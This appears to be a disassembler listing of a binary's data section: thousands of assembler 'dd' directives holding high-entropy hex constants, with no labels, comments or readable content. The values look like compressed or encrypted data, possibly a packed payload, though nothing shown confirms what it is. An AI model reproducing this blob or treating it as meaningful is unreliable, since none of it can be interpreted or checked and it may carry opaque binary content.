		dd 0FC74A520h, 7C517772h, 71AE188Bh, 29C4CBD8h,	0D761E912h
		dd 96680E02h, 60ED770Ch, 68D805BEh, 0A4B02F5h, 0E17E8B5Ah
		dd 0C02A58AFh, 80F18CDFh, 108DF258h, 0FF5BD02Bh, 53F02Ch
		dd 80685651h, 5E33F65Ch, 0D8EED127h, 0B2CE097Bh, 3202F1FAh
		dd 8009C0D9h, 0BC5C1AA8h, 98297F76h, 5F088116h,	93F3A63Bh
		dd 66422103h, 0A665955Bh, 5A18D519h, 5CCAF470h,	1E4A2F59h
		dd 0F0019316h, 730BF23Dh, 555B6417h, 2E533E02h,	123C59D1h
		dd 0AED15846h, 0F66A0C64h, 0EFD475ABh, 1ECC621Fh, 0CD29021Ch
		dd 0FDC2CC2h, 0C4BEB00Fh, 0A4106A51h, 5EF8E325h, 42281C7Ch
		dd 0BA0FD2E0h, 4FEA2D6Ch, 25A9A957h, 31BA5A8Eh,	42DEF730h
		dd 907FACEBh, 0DFE83002h, 130E56F9h, 0C012E26Dh, 0F607EBC0h
		dd 3CE3EAD3h, 0C8378008h, 0CD19B80Ch, 0A8000C06h, 0E917D820h
		dd 0B3D5A7E0h, 5ADCA0AEh, 0C1685003h, 651EDF63h, 911C1069h
		dd 51BBA1Ch, 85EF87AEh,	5B5CE804h, 23938BFh, 0B3A5869Fh
		dd 3225203Eh, 0D147A680h, 94FF1B9Dh, 63350912h,	6CB26534h
		dd 34E71222h, 0BA9906A6h, 395636B0h, 0F112D689h, 7EB2EA5Eh
		dd 934FA8F6h, 5AF386A8h, 0E868A50Ch, 9A81717Eh,	0DFF39F8Ah
		dd 64D96389h, 0E3FE4C61h, 12CF8C84h, 124422B4h,	0BD611E94h
		dd 0D021C53Dh, 0FE36C2h, 2801B353h, 3449D97Ah, 16F74C30h
		dd 9663181Eh, 0FCFEEA57h, 0ED68508Ch, 15A73E53h, 2DC198E9h
		dd 0F6187853h, 93ACCEDh, 1767B164h, 0BD4C12Eh, 58067BBDh
		dd 0FB6EA168h, 0D2E1DE4Ah, 0B549B92Bh, 0CA78F3FBh, 0EF4A7854h
		dd 0D72A7300h, 9841592Eh, 5236A949h, 0F249FD7Eh, 7D8ECA10h
		dd 0C5CE8553h, 21900FA5h, 48654E2Dh, 0F138BC1Ch, 195E8D2Dh
		dd 123B8C3Fh, 9190C3Ch,	2D3F6DF0h, 0E95FE0FFh, 4243608Bh
		dd 5E646FB9h, 0E9166E4Bh, 0B7484EAh, 985F5A0Bh,	0CEDAA66Eh
		dd 0BD7287A2h, 0E128898Eh, 0A82A66E5h, 5E1DA30Ah, 6B72F4B1h
		dd 78B02F2Dh, 0ABDB05AEh, 81297538h, 3AFD869Dh,	67E38D44h
		dd 23AE0F12h, 0CCDED32Fh, 0ED17353Dh, 4C07110Bh, 7242751Ah
		dd 22E90801h, 0A714282Ah, 0BD00D7C4h, 62EF604Dh, 0CF58130h
		dd 0C31950Fh, 77295DEEh, 0BE48ABB4h, 0EB6ED87Eh, 0CB281D36h
		dd 0C14A6E89h, 2E5DD768h, 0E0FBE235h, 0DB28E930h, 0C01E99EBh
		dd 540903E0h, 46F7220Ah, 99664621h, 0C0BC1295h,	37DFBD6Eh
		dd 0D6BB8650h, 0F745B754h, 5268E10Bh, 0E28F562Ch, 1B5CCDC1h
		dd 2548FB63h, 0CEDF5B38h, 61E9517h, 24BD555Bh, 3A8468C2h
		dd 6EC5A0A2h, 89BF5004h, 0AFE04538h, 20C29E98h,	470EFED1h
		dd 6B67C120h, 0F60F8003h, 0F41FBD54h, 313DF3E1h, 36044A76h
		dd 59488EFAh, 0D4A610E8h, 0F24BBA7Ah, 0EC3754F4h, 483F0CE6h
		dd 0F0C4A77h, 2B0D3E12h, 0F03FB08h, 46459968h, 9E5AB23h
		dd 0E11F38E8h, 0A0BDA87Ah, 9D6082E9h, 59189320h, 5B4B29E1h
		dd 0B72904FFh, 0BEF7ABA7h, 0A946495Bh, 89B0F9F5h, 0B0207C64h
		dd 5E4812E4h, 8CE3BA1Dh, 0AFD6A6DFh, 0C4FE9856h, 6653C1C5h
		dd 0C1516C10h, 28D006B8h, 0AB7EC07Fh, 609FB015h, 1E5705F3h
		dd 901E95BFh, 6921046Eh, 5FB47F8h, 0E292BE80h, 1D884EC3h
		dd 206801C5h, 78E93AD9h, 5248075h, 0FEDFFDA1h, 4D73BF89h
		dd 41AF5E2Fh, 6F1B4768h, 5D7EE8B6h, 45581838h, 36055F01h
		dd 3ED19466h, 7F4205C9h, 92ADDE13h, 25AE838h, 26837080h
		dd 9E6DD89h, 0ACDF6BDh,	89F56C29h, 0B3571422h, 42CCD1E2h
		dd 0FEF1B782h, 8BE3F3A7h, 334D01EFh, 0EFC2DB29h, 9959088Bh
		dd 9B9A046Bh, 1032EC12h, 0AB4FF770h, 77339281h,	1580DD6Fh
		dd 1313BA88h, 20733DAFh, 402DA3B4h, 207BF14Ah, 5D4C9808h
		dd 6648E516h, 2B58E54Fh
		dd 4F9B30F0h, 28FFA4D3h, 44C44912h, 0F84AAFFCh,	7947657h
		dd 281E7C08h, 778D2716h, 0E92C0A14h, 0FF12B6F9h, 2BB639AAh
		dd 81BA9400h, 3D518B2Eh, 0FD0639BDh, 6CD53116h,	867303BFh
		dd 89D4BFF0h, 0C0D4F2EFh, 0D21BA068h, 35B4E47h,	133C0502h
		dd 6940AFE4h, 0D71AD9E7h, 8F475C3Bh, 5151B310h,	0A3584077h
		dd 0D9A39102h, 0CB817639h, 5ED283BFh, 0FC6B52CAh, 56E83293h
		dd 0B4BDFECBh, 0D622CB7Fh, 0D10B3F7Bh, 8015671Dh, 2B2ABB53h
		dd 8CC06C86h, 6D504575h, 6E501C1h, 0DD32E957h, 58ED7BFEh
		dd 27C90B9Fh, 2484E06Ah, 0AD3E1D1Ah, 51248B17h,	79C360CDh
		dd 255BF929h, 88A10FEh,	970F9840h, 130B6466h, 193249h
		dd 87D4092h, 83729552h,	36D9120h, 9D5663BFh, 0A1DA4F4Ah
		dd 0B90BBFD0h, 1951B98h, 6068C9F9h, 0DB6DC5h, 0BBD63862h
		dd 5FE9CB01h, 5DAD024Bh, 3241E184h, 0C835E254h,	1D6405D8h
		dd 4072BF55h, 81EC44C1h, 0CEB0C501h, 907CF26h, 5B595D61h
		dd 50814E34h, 6014B8CDh, 3DE10C6Ah, 3D906B33h, 8AFDB0Bh
		dd 0CFE05F69h, 0D9971AA4h, 3776064h, 97A025E7h,	3E272754h
		dd 88D5458h, 52076739h,	0D726E288h, 0DF843448h,	40EF0117h
		dd 683CC611h, 0EEA84E94h, 0E928BF4Bh, 66574053h, 2F3A2FB4h
		dd 0BD167E58h, 8A1105Bh, 1C300858h, 0B61EDA1h, 0F2339734h
		dd 0FBAB01FFh, 3F13EF2Ch, 8A1CFC04h, 4EF58ED3h,	9D9FAC30h
		dd 56710312h, 4B577B81h, 0C86D5182h, 91020756h,	17D26BF3h
		dd 1C779B29h, 69F0D62Fh, 4991A220h, 12D153Dh, 0A00ED94Ch
		dd 552B900Ch, 0F12BA854h, 3AEF650Fh, 0FB2D72C0h, 5B982D51h
		dd 720F6FCh, 0D1BAE913h, 0F04BAFDh, 0AF6EC111h,	20F67D7h
		dd 0FF8966C0h, 82FDDCCAh, 0F9E26FD1h, 72DB42BAh, 0EC58F529h
		dd 26C9D495h, 0F2A02F1Eh, 0E72ACBE5h, 3DDA4450h, 1293BD80h
		dd 0AA129B1Ah, 0E9098CB6h, 9A5D1737h, 1DC78D7h,	451B2A6Eh
		dd 6E2103E9h, 4E291498h, 0B14BACFEh, 0AE150A4Fh, 0A2D7F8F2h
		dd 27572A6Fh, 685F55A0h, 991FD825h, 65352DF5h, 0C8C8B602h
		dd 17665B9Fh, 0D02E0D68h, 0F672B6F0h, 0C2FEDE4Ah, 545D0569h
		dd 59843D97h, 0E47BB353h, 6016F385h, 89A171E9h,	88EDB63Bh
		dd 0D37D0C1Ch, 9A905980h, 64FAB325h, 0B666FEBEh, 0CAF525D5h
		dd 6789DDFAh, 2583E4DDh, 0C2525E56h, 0EC1E4509h, 697F0026h
		dd 3D5D8375h, 646D21E9h, 0FB9CE3CDh, 0AD04F752h, 8C9446BEh
		dd 39E891D0h, 4F55725Ah, 0FDC1C921h, 4EA04FCh, 0E44068DFh
		dd 6C9C1C8Ch, 2D175912h, 0E2D8F5E8h, 25047CBBh,	0EBD14175h
		dd 7FE5EFEh, 6F71215Ch,	251ABB40h, 0C14EE946h, 5705BB0Bh
		dd 5426DDC3h, 2E0720D0h, 572B163Fh, 395074A7h, 0B656EF9Ah
		dd 0F5F18156h, 0A3AF9654h, 6A301063h, 36EC8009h, 0AFCD8357h
		dd 0EF2B2552h, 0FFC9445Ch, 28B1D0E9h, 0FE881361h, 18163DE6h
		dd 0E8014141h, 69469601h, 0DB551F20h, 0C6E5F67h, 250A2CBh
		dd 0ACA5B5h, 0CE80A4B6h, 0EE24AA73h, 781A36ABh,	8DE1DD12h
		dd 0E66385BBh, 3280B734h, 280E24C1h, 4AA675F7h,	272BF2A8h
		dd 0FB3CE85Bh, 3E0095DFh, 28E9EC7h, 0C829783Dh,	0F360B7B5h
		dd 5097B250h, 0BAFA7EAh, 29030530h, 8202754h, 0FC5BD396h
		dd 81E7F8BEh, 33A840B3h, 0CBA3F26Ah, 9A28D7F3h,	0B4E525C6h
		dd 0FDFE09AFh, 0EF09B394h, 89231A3Ah, 820EF015h, 0C00DD08h
		dd 5D45C558h, 0D8EA1ED6h, 0DB517D63h, 0C6F1D483h, 0BCBD0AC0h
		dd 0FE1E693Bh, 123A9613h, 3E49A95Ch, 5C01C07Dh,	4E7F9EC7h
		dd 0C727FCD5h, 3D351C90h, 183C3481h, 89C99D7Ah,	5C711718h
		dd 88C1B039h, 6F7FEA67h, 150C5598h, 0CA370743h,	0EC253283h
		dd 0BC49C87Ah, 0EF0E205Ah, 4BE28D5Ah, 674A7205h, 7BE0FE29h
		dd 7E00959Eh, 6AA1685Eh, 884E7BFh, 0C0243BD3h, 5647E501h
		dd 54EE31EFh, 0D94688EAh, 3132B26h, 0E751CBE9h,	9177373Dh
		dd 0E9028377h, 7955D792h, 0FEDDE794h, 0B9F1AC40h, 0BD69CB3Eh
		dd 0C0952F50h, 80044B67h, 4F79EFBDh, 604B1B7Ah,	0F3BF0212h
		dd 61AE9261h, 2F1A2CCBh, 9510AA3Ch, 29C22976h, 74AF62F2h
		dd 0DE090E43h, 0B853C3EFh, 2CD2D0A1h, 519D0737h, 0B7A0579Eh
		dd 0F890E5D8h, 2DF5014Ch, 7A04DDC4h, 9CF7C050h,	5B0EDE08h
		dd 68BB151h, 3F1E59CEh,	75F5286Bh, 125A61EBh, 5016E971h
		dd 1AEABDA9h, 0A65F3B2Ch, 8217AB09h, 58C0E98Ah,	805697B1h
		dd 0BF90CA50h, 7177F7BAh, 0AF66C5FFh, 0A80DE921h, 515F2902h
		dd 0B25797D4h, 92C98492h, 71C0413h, 10C9F9F1h, 8117B2FAh
		dd 464504E3h, 0EE67C20Ch, 0D3C0104Ah, 5225F329h, 0A9AF5F50h
		dd 403CBB97h, 0A774AE9h, 0CB7ADD6h, 0CF61B417h,	48447B09h
		dd 0F7920502h, 89F7C1EFh, 0FBD044FBh, 0AFA90412h, 0F05A1F9Fh
		dd 6E684788h, 85F15659h, 0F5B96CF1h, 3F12D6h, 847A1C12h
		dd 0D62FE95Fh, 5FBC2D10h, 406BD720h, 0ACEC5262h, 0EB49DE62h
		dd 0B50DFD50h, 0BDAE10EAh, 81E1528Ah, 5872EDB6h, 0C82065Dh
		dd 343F654Eh, 68024C51h, 7E424730h, 228709F2h, 0C44FB4FEh
		dd 0DD987F3Eh, 0CE1A0F4Eh, 0E0D7E934h, 3DF8B820h, 4763826h
		dd 224A7802h, 61DE8B26h, 0A961BF85h, 4307461h, 295E801Bh
		dd 0EC55C378h, 34743BE4h, 29920780h, 7D5BFDh, 7851C209h
		dd 12B84877h, 0AAC9964Bh, 37285CE1h, 0B5D6825h,	19CCC42h
		dd 80377FEAh, 44CA2925h, 0E90802B5h, 9AF569FDh,	0DD2384CBh
		dd 0C1A4F317h, 44427BEDh, 0A2DD3120h, 0BB080AA1h, 0E8895000h
		dd 0BA74A0E9h, 0CA681344h, 8853E923h, 0BD5B13FDh, 6C0B9665h
		dd 0EF1B5E55h, 43C2133Fh, 6D75BA30h, 1BD447C2h,	7305D210h
		dd 404BCF60h, 304FEA95h, 0CCF7A3Eh, 0DBD684A6h,	417C12E4h
		dd 0A3136B37h, 9CB5AACDh, 362AAEF0h, 36AB454Bh,	80CEAA90h
		dd 4191417Ch, 47A78A6h,	13505BBh, 0A6C381C6h, 0B560DE64h
		dd 5481A83Fh, 976C93D8h, 0E5EFE751h, 0F77EEBFh,	7ECA75C2h
		dd 3A054F75h, 0CC11E4ADh, 38E505Eh, 6431A350h, 8301C30Fh
		dd 0AD2F48B1h, 7F106266h, 8BD44183h, 65D261F1h,	0EBB02BB3h
		dd 0EF7E9E28h, 0F8566969h, 0D85A12h, 32DF0468h,	0F35B1A5Fh
		dd 6E4650B6h, 6D424500h, 28AC981h, 0E48BA1FDh, 1673FC38h
		dd 92929984h, 5C552892h, 606863F2h, 64389895h, 0E351440h
		dd 2C801ACAh, 0D049ABA1h, 89F7C550h, 0D4B11327h, 27B262D9h
		dd 3D62457Ch, 0B7020965h, 5DD9436Dh, 0B8CC918Ah, 9764C2Dh
		dd 2A7C2594h, 0B1701D0h, 4AE52126h, 0CDEA0804h,	0DFF6008h
		dd 0CB076299h, 7FE90229h, 66076722h, 0DF825E71h, 403F73Dh
		dd 8F90ABEAh, 95CE34E9h, 3D28B947h, 82A90C97h, 77861EC4h
		dd 0C280D3DCh, 0F8FFBB93h, 0D8292FB4h, 90AD14FDh, 25657A68h
		dd 775A4Ah, 66DBCED5h, 83262493h, 68550047h, 625619B8h
		dd 691ED0B9h, 752063B0h, 0B16A4A85h, 0CEF47AFEh, 0BA2C1869h
		dd 215E9873h, 554D0A2Dh, 198AF7A0h, 894EFDD9h, 68829DB9h
		dd 31FE15E3h, 5A17A560h, 7F972Eh, 0E48EF601h, 0E9450B43h
		dd 3E495933h, 0B5F65424h, 0D9853FF3h, 0CBA5D1EDh, 6A7D178Dh
		dd 76F28FAAh, 949702ECh, 13F79DBAh, 3568A1C9h, 799D56C6h
		dd 2EFED91Dh, 257BEFB6h, 0B355E772h, 0D8D7DA47h, 0EAF8B763h
		dd 5C283800h, 0DA9E2D68h, 0EF585F48h, 12171754h, 0E0BA6745h
		dd 181FC41Bh, 0CB0142C5h, 4A9E0D56h, 5EEABB40h,	0C156069h
		dd 776572A5h, 0D697E91Ah
		dd 8DB5169h, 9224F163h,	83025426h, 0E03F7329h, 80A60435h
		dd 800E39B7h, 6ED045EFh, 1073BFC0h, 0D7FA8249h,	569A1D9h
		dd 71FFB447h, 2EC5E5E6h, 0FACE9522h, 56EF31A9h,	8955BD23h
		dd 0B06D1515h, 8006BE05h, 76168105h, 1DBA0855h,	0B284F9D9h
		dd 800E4771h, 0F403C11Bh, 15E96712h, 0D9BA9917h, 29AE591h
		dd 2E58D5BDh, 0C3D5E8B5h, 65808241h, 7925546Bh,	294BA2F6h
		dd 4492B2B9h, 0BB4E122Ah, 5F958828h, 7BAA4194h,	271F1E5Dh
		dd 704A137Ch, 37340660h, 0E9290AAEh, 898F35C7h,	0D28F81D9h
		dd 0D3DAC66h, 18CD1C13h, 26B2AC01h, 1883705Eh, 287F6248h
		dd 897599AAh, 0E2965B1Eh, 520243B4h, 420DD468h,	5A058FD6h
		dd 6F941697h, 0F67EC4B1h, 7FC3C54Eh, 50B862EBh,	87222A74h
		dd 487F3020h, 0CC405D5Fh, 2D470EE3h, 15410641h,	4405D001h
		dd 0CDE9C107h, 0E8313FF4h, 0DD3F69ABh, 495440BFh, 62484701h
		dd 0AA5F2423h, 1BE1046Fh, 3513DAA9h, 0EF9A40D0h, 3A6C1F1Ah
		dd 7D560CC0h, 682901E5h, 3408E0D7h, 0BF14240Ch,	595A10B0h
		dd 0B6C48E57h, 0DCB2AB29h, 741D680Bh, 51335Dh, 6F27D2A8h
		dd 9BF5761h, 7C754304h,	0AF2FA31h, 0A61E0896h, 4FFAC12h
		dd 1672E3CDh, 0ED2F0FA1h, 5FE9B006h, 68ECC2F6h,	335D6598h
		dd 728AFA65h, 0E1E395BCh, 2A46D4C9h, 939BB2A8h,	7B7398E1h
		dd 2F78DEADh, 3973F11Fh, 0E14B3CA8h, 2DCAF125h,	0BD555201h
		dd 6064127Dh, 312ED08h,	6AC1FCE9h, 0C23FF580h, 41095A94h
		dd 0C0391C13h, 81E1F45Eh, 99CC6C5Ah, 9CC89C01h,	0F397B156h
		dd 77E47A9Dh, 0B7F2B5EFh, 0F95B4426h, 3155AC3h,	6194F531h
		dd 18D9AE4Ah, 0F490ADBFh, 0BDAB88B3h, 5F97D720h, 116B1AAEh
		dd 300B7C4Dh, 2480512Ch, 0B7AC2218h, 9012675Eh,	0F7C3AF82h
		dd 87A01EF2h, 6926BC33h, 0C0257A61h, 39A4B884h,	2D1E4D38h
		dd 0D893C912h, 90572F6h, 0F835EF7h, 0C01683AEh,	25576F0Dh
		dd 0BA30301Ch, 9891EF6Bh, 65199DA6h, 9E8ED73h, 0FC0D5BA9h
		dd 401B0AA3h, 6B129A32h, 0E515C4D1h, 0C03AC104h, 81EE136Ch
		dd 9E4F718h, 875E1CF5h,	8D997CDh, 5D25083Fh, 0FA9549CCh
		dd 0F65F4A1Fh, 27EE5851h, 5E9E9C22h, 580BF0CBh,	0E4115195h
		dd 0B0D0118h, 40DEC357h, 285D8D31h, 2EC541Bh, 79CD4FE6h
		dd 0F2C1E821h, 0FDE6D2Dh, 0E039B2F6h, 895DEF29h, 0C4E92AFAh
		dd 830C978Dh, 3924D3E6h, 0F607FD1Ch, 43767590h,	5DDF050Ch
		dd 1312170h, 5FF909C3h,	0FF402183h, 777EBB98h, 5CC4684Ah
		dd 0B5DF37B8h, 9484412h, 95B8305Fh, 25690079h, 0E901E883h
		dd 0DF9916D1h, 97EFAE03h, 0DFD0DA2Ch, 680468D9h, 0BCBC2556h
		dd 7A161BC3h, 20E9C199h, 92B2C380h, 80772875h, 83069160h
		dd 0A0CC0458h, 915DF1F1h, 1C222C71h, 0C0722F6Ch, 5A137E13h
		dd 7049831Eh, 7F042267h, 20E8D0F5h, 577BBD09h, 64481A27h
		dd 4C52FCB9h, 4931B6Ch,	129F9A1Fh, 0EBD452AEh, 0D83149E1h
		dd 2449CAE4h, 479A7C92h, 0BD01E812h, 0EB7781Ah,	2050330h
		dd 0E9764F2Bh, 0B6C5CC3Dh, 66DDF604h, 0E6F55B92h, 86812E7h
		dd 0B1A450Dh, 4572BEC9h, 7F094051h, 1121250Eh, 0F5683AC0h
		dd 69EB76BDh, 0CD4B2564h, 4AA7235h, 0E4CC6h, 77F9CBFh
		dd 56ADF455h, 3B6C36DCh, 6094C2E0h, 4A278C96h, 13962EC1h
		dd 92425670h, 8AC19FC3h, 63166FE7h, 2BF829FBh, 31D4E304h
		dd 0AE305905h, 0A36BF8E1h, 48C58C94h, 31481C91h, 0D7C89EC1h
		dd 87CCA0F4h, 1B2DF97h,	6F25726Eh, 4669A038h, 9897C4D6h
		dd 29C54078h, 0F5257E9Ch, 0E987288Ch, 0F2C01326h, 388A3CBFh
		dd 0F3FDCA5Bh, 0DBF3BEE4h, 2EA7E909h, 6FA04990h, 0F654CEBFh
		dd 0FD735EC9h, 0B4ABB413h, 1109BE21h, 11BB377h,	0C935A5F1h
		dd 4EF26430h, 57CDC15Eh, 7A4060EFh, 39809D40h, 0F49DA0C4h
		dd 0CAEC811Dh, 0CA376866h, 0B524F652h, 0FC1871DBh, 3034EE85h
		dd 0F6529851h, 0A2EEF330h, 84FDF195h, 0EF91ECE9h, 0DDD7F849h
		dd 2B55D731h, 3AF17DAAh, 26E995B0h, 0AF93C96Ch,	5D3AB8FDh
		dd 0DAF99D7Dh, 693FBA81h, 0C53E7AEAh, 0A5B1A81Eh, 3CAFCABBh
		dd 0CF8D5B0Eh, 0CBF1BD6Fh, 88484C54h, 542D681Fh, 2FE96216h
		dd 8820C39Ch, 7CBD380Dh, 0DCA8BBA1h, 0E2C11D58h, 52832EB4h
		dd 763D0C82h, 60DE2869h, 0FFDD5A0Bh, 36150767h,	0F6977DBFh
		dd 0A19E9629h, 0C50801D6h, 0F20D240Ch, 778CA402h, 0D6D701AEh
		dd 85EF8130h, 220EE657h, 0C1D195Eh, 0D441B456h,	51018BDCh
		dd 20B82BB9h, 4C8EA84Ah, 0FEFD7F8Fh, 0F2505C5Fh, 14EF4949h
		dd 0E8829797h, 0E3E5DD6Dh, 7D4C0189h, 5F997F65h, 0EA05F49Eh
		dd 80341604h, 12D8FD0Fh, 9F90F7C5h, 0EA71A920h,	83BA4E31h
		dd 0DAE3CA8Fh, 665D4D07h, 7739E801h, 2A24E82h, 2FC850E1h
		dd 410E07C8h, 0BA146F8Ch, 0B0A14AE2h, 8168B77Eh, 0CDB6851h
		dd 0D2F9BD2Bh, 5148CBABh, 0E62E3585h, 6A2F8FE0h, 3E860194h
		dd 7D2C8A0Eh, 0C74724F0h, 5DF681B6h, 0AE8C805Ch, 0DB259896h
		dd 92EF28DFh, 81EB1250h, 94C4AAC3h, 0F47FACAEh,	408F59EEh
		dd 29A56A08h, 0E112AC67h, 8B4CCC70h, 0EE936665h, 20FEA1AFh
		dd 0AFB223EEh, 647BC4C7h, 5D801204h, 60317630h,	0A9EA3010h
		dd 0C99DB58Bh, 79CEB496h, 26BB420Bh, 2259BA99h,	0A16A10F3h
		dd 0EFEB5870h, 9DB5329h, 64FD73FAh, 0E8D295CAh,	16F76812h
		dd 0E98C68AAh, 770B0225h, 20F3E4B9h, 6CBF8AE1h,	0E69E175Fh
		dd 56D473FEh, 61EA48E2h, 0EEA02DDh, 2DC108AEh, 78B60BF7h
		dd 0E9C897B4h, 0DB5A0AE9h, 0DF29D323h, 7C14C94Eh, 0D96542ADh
		dd 0D32B800h, 312E17BAh, 0F52207C5h, 295E827Dh,	43A2A2F7h
		dd 35BE011Bh, 0AA02A07h, 342017CEh, 0F80CFF41h,	9D5B201Ch
		dd 0BD6213F1h, 25BB0014h, 0CA25E464h, 5A405631h, 559192F7h
		dd 7FE904F3h, 0E15AC779h, 1C69BD4h, 5208AF68h, 0A5561ACBh
		dd 52B0562Dh, 3B49B0F7h, 0C8FE5ABCh, 2B185937h,	0C2111224h
		dd 0BC80137h, 0E9D12992h, 6EFECD40h, 2C8402EDh,	15014D9h
		dd 94B3CFD6h, 0A26BF731h, 0F901C0EEh, 9C2563E9h, 0AB1B8CB4h
		dd 0F0BC63Fh, 0FF6D9C11h, 4086228h, 0B934875Dh,	7F50C9F5h
		dd 0DCBD1C6Eh, 0BB5307D1h, 15DF02ECh, 435A29D8h, 72924F91h
		dd 51890172h, 0FF8D5804h, 481028CFh, 12BF3A47h,	0BE053D54h
		dd 0A2AB6C2Dh, 0C5ED4F29h, 0CEF70125h, 976EB018h, 0C18721D4h
		dd 80B08207h, 916DF168h, 5AFDA0B0h, 4FE7E8CAh, 0BEE912BAh
		dd 0C004B5E1h, 0F73BF7F1h, 0A6E982D2h, 0C248F9D2h, 2E0FEF60h
		dd 880E12D1h, 0C03F6180h, 837C03EDh, 737E09Eh, 887D0828h
		dd 4F96E9DCh, 0F7CB4E20h, 61493903h, 67F1D7ABh,	6EA05757h
		dd 0C1669C05h, 2D161B1Fh, 7396001Bh, 3E684D65h,	0E7189F4Bh
		dd 0CF7A0B47h, 0EEA9AED6h, 23D70C60h, 1752860h,	880BBB0h
		dd 0D04DF9E9h, 59EC8466h, 0C807EDADh, 0F7AB050h, 85A5886h
		dd 748724CBh, 94FF25C4h, 5788C186h, 7CAFE8E9h, 0DAADA268h
		dd 0C9FB4EFBh, 7D1E2023h, 132D4540h, 0E1D552D8h, 1321F002h
		dd 0DD7992BFh, 0DC971D16h, 61E9E14Ch, 0E17F81E0h, 6CC062CFh
		dd 7CC19D40h, 0AF0F5BC8h, 0E529844Fh, 0C4007316h, 25589F26h
		dd 918F25E9h, 808129DDh, 657956EDh, 0D6E5ED13h,	9007A3C0h
		dd 16FB4EBCh, 0E292AC8Ah, 0B62C10BBh, 8CF3FF82h, 685A01E9h
		dd 9F3C0F6Fh, 3FCDC4h, 0AA0E6705h, 762D077Ah, 0A97B1A6Bh
		dd 0D0702B5Dh, 0BE8420D2h
		dd 0C628555Eh, 318537BBh, 0E9DD813Eh, 68092AA0h, 5D0EB25Ah
		dd 0E98B9715h, 480DA37h, 5125E4EAh, 0B577C56Bh,	0F4812A90h
		dd 0CA2EF463h, 44F305F6h, 28C32ADCh, 620D4CF7h,	55A0BF18h
		dd 5B1741EEh, 4C097E52h, 60447D01h, 231AF602h, 58314108h
		dd 0BEC74A24h, 0A2E95102h, 0D01A4A7Ch, 0F1FC9DE3h, 2FB8BC8Ah
		dd 0DF056B27h, 577CE269h, 84E9907Eh, 0D6D5FD4Bh, 0F75C0DBAh
		dd 702CE209h, 5BB40B7h,	0B2E13B8h, 0DD3D441Ch, 5DEE0EACh
		dd 7DE83568h, 8980174Bh, 271B32B9h, 9141637Dh, 3A3B61B0h
		dd 0B52ECEA0h, 0C425D967h, 617ED7Fh, 681468B5h,	0D4F47D53h
		dd 0B35E104Eh, 92EE2C1Ch, 141E98A0h, 6949549Fh,	25BFB4FDh
		dd 14460BE6h, 0F07EB01h, 0D6F7463Eh, 1DC1E22Ah,	1613D218h
		dd 0C84F40EAh, 19685653h, 0D5B2E7Fh, 5B276680h,	32746046h
		dd 10C03DA6h, 0BE43D097h, 6FC30F68h, 2D9901C2h,	9F27FE5Fh
		dd 0A1F12FCDh, 1C8F6884h, 831768FFh, 75D9D582h,	611613EAh
		dd 0F444C8AEh, 9B3085Fh, 0A4184E25h, 5F25EAE9h,	2536EFFh
		dd 10CC3884h, 0F6EA23E9h, 2E258277h, 0D30102C8h, 4D8D717Fh
		dd 5433F8E6h, 0A1EA0CD2h, 0BBC37038h, 0D73DE29Fh, 680536CFh
		dd 0F9360154h, 41BD9099h, 4EF22E0Eh, 2530A297h,	7030560Ch
		dd 5680A4DAh, 18E00FBEh, 0C5642216h, 2555B9C3h,	5FAD8795h
		dd 79B5AEC2h, 8C304BEEh, 98954945h, 0D2CDFEF5h,	0D880FE10h
		dd 98197205h, 3EAE7AAAh, 0F5034C29h, 795B619Ah,	1C1EBC2h
		dd 0E3D007D5h, 7B0F2719h, 95F2FA34h, 82C965F9h,	0EC8C533Fh
		dd 3F0E012Ah, 0EEC13ED6h, 9506A003h, 51F6C225h,	3A76CD07h
		dd 1A7867F3h, 11FEC954h, 16067A63h, 1B486C90h, 93DCB740h
		dd 888556FAh, 59047811h, 8385FE01h, 0EB9CD4EBh,	0E8B52FACh
		dd 0E9C6828Eh, 9F6DFEE1h, 4F19C0BBh, 0F0F38172h, 66E6101h
		dd 38E9D931h, 683CC438h, 4CD33231h, 89D26810h, 384F7EBFh
		dd 759C5227h, 497F34B7h, 135050A5h, 50091E49h, 3FF3D81Ah
		dd 681366ACh, 0D7D47528h, 6E524681h, 0B63A33Bh,	45EC805h
		dd 988129D8h, 0B800D834h, 0F93130E7h, 14F1360Dh, 0CDF28100h
		dd 3CB95618h, 7FADD60Ch, 25C2971Ah, 62B4F95Bh, 0D09126C2h
		dd 0A849BDBEh, 0EA99F3C2h, 0E1068730h, 0F2B0DAF6h, 0EF5266CEh
		dd 5ABFE4BAh, 801BE299h, 0AA003E27h, 26738BDh, 5A7BB036h
		dd 2AD6D305h, 63F2FF84h, 0F836A5A4h, 765AE952h,	0CEFAFF16h
		dd 2D294C40h, 6FB454FCh, 8AB2DB3Fh, 0DF84035h, 9B857794h
		dd 4F2E482h, 0BE7AA031h, 0C0716609h, 0E97A213Bh, 4387F0FDh
		dd 977A7DBAh, 0C287B37Ch, 86D6B4Ah, 3C99ED2Eh, 0B529C056h
		dd 41647E79h, 42D44C80h, 0D9794857h, 8928B81Dh,	53004361h
		dd 8A2FDE49h, 9E044BDh,	12526859h, 563C55Fh, 0FE66B2E9h
		dd 0AAD2F5E2h, 5BF3B39Ch, 9300E35Fh, 0ECAA9E64h, 5EF7A113h
		dd 92C9A23Eh, 274F67A4h, 24D1FEB1h, 0A4583D12h,	3D6721EAh
		dd 8A72BDDh, 6166D061h,	9610E0F9h, 68875DA0h, 5C050E2Dh
		dd 0D18BE9D7h, 1CABE863h, 0F1E06741h, 13C24A7h,	0C2B3F552h
		dd 0D62C99E9h, 0CC06B1EAh, 4A0C86BDh, 4B5AE4C0h, 0A497EC57h
		dd 2C7E85B8h, 0A51156CBh, 27C555h, 12786857h, 499A47BEh
		dd 6BC6897h, 0F7799DF5h, 0B6FC488h, 0CA80EED1h,	46AC3738h
		dd 737FC4B0h, 0ABFDEAEBh, 63C9FD42h, 0CFE9CE91h, 3FE17BC3h
		dd 292DB56Ch, 84BC1AD7h, 86B122E1h, 0F522A92Eh,	5B4577A0h
		dd 0F769FA84h, 0E928303Fh, 9B9FB168h, 63A2FFB8h, 9B88567Eh
		dd 4DD9E12Dh, 0FD403AB0h, 1CFACA3Bh, 8BD94E89h,	9A0504F3h
		dd 82EE9058h, 78B2DC4h,	55022945h, 0D96C3368h, 0A25797D8h
		dd 6A72C45Bh, 0EC44E905h, 16BE03FCh, 0F9217856h, 302A3FAFh
		dd 0C03372E9h, 29E4675Bh, 2BB402F7h, 0FE09A406h, 5279FE55h
		dd 0B920587Ah, 68C68136h, 0CC265ECDh, 0FD677F00h, 5DE94B66h
		dd 0F5A92260h, 58C5C4E1h, 4200FE39h, 6874A869h,	18950406h
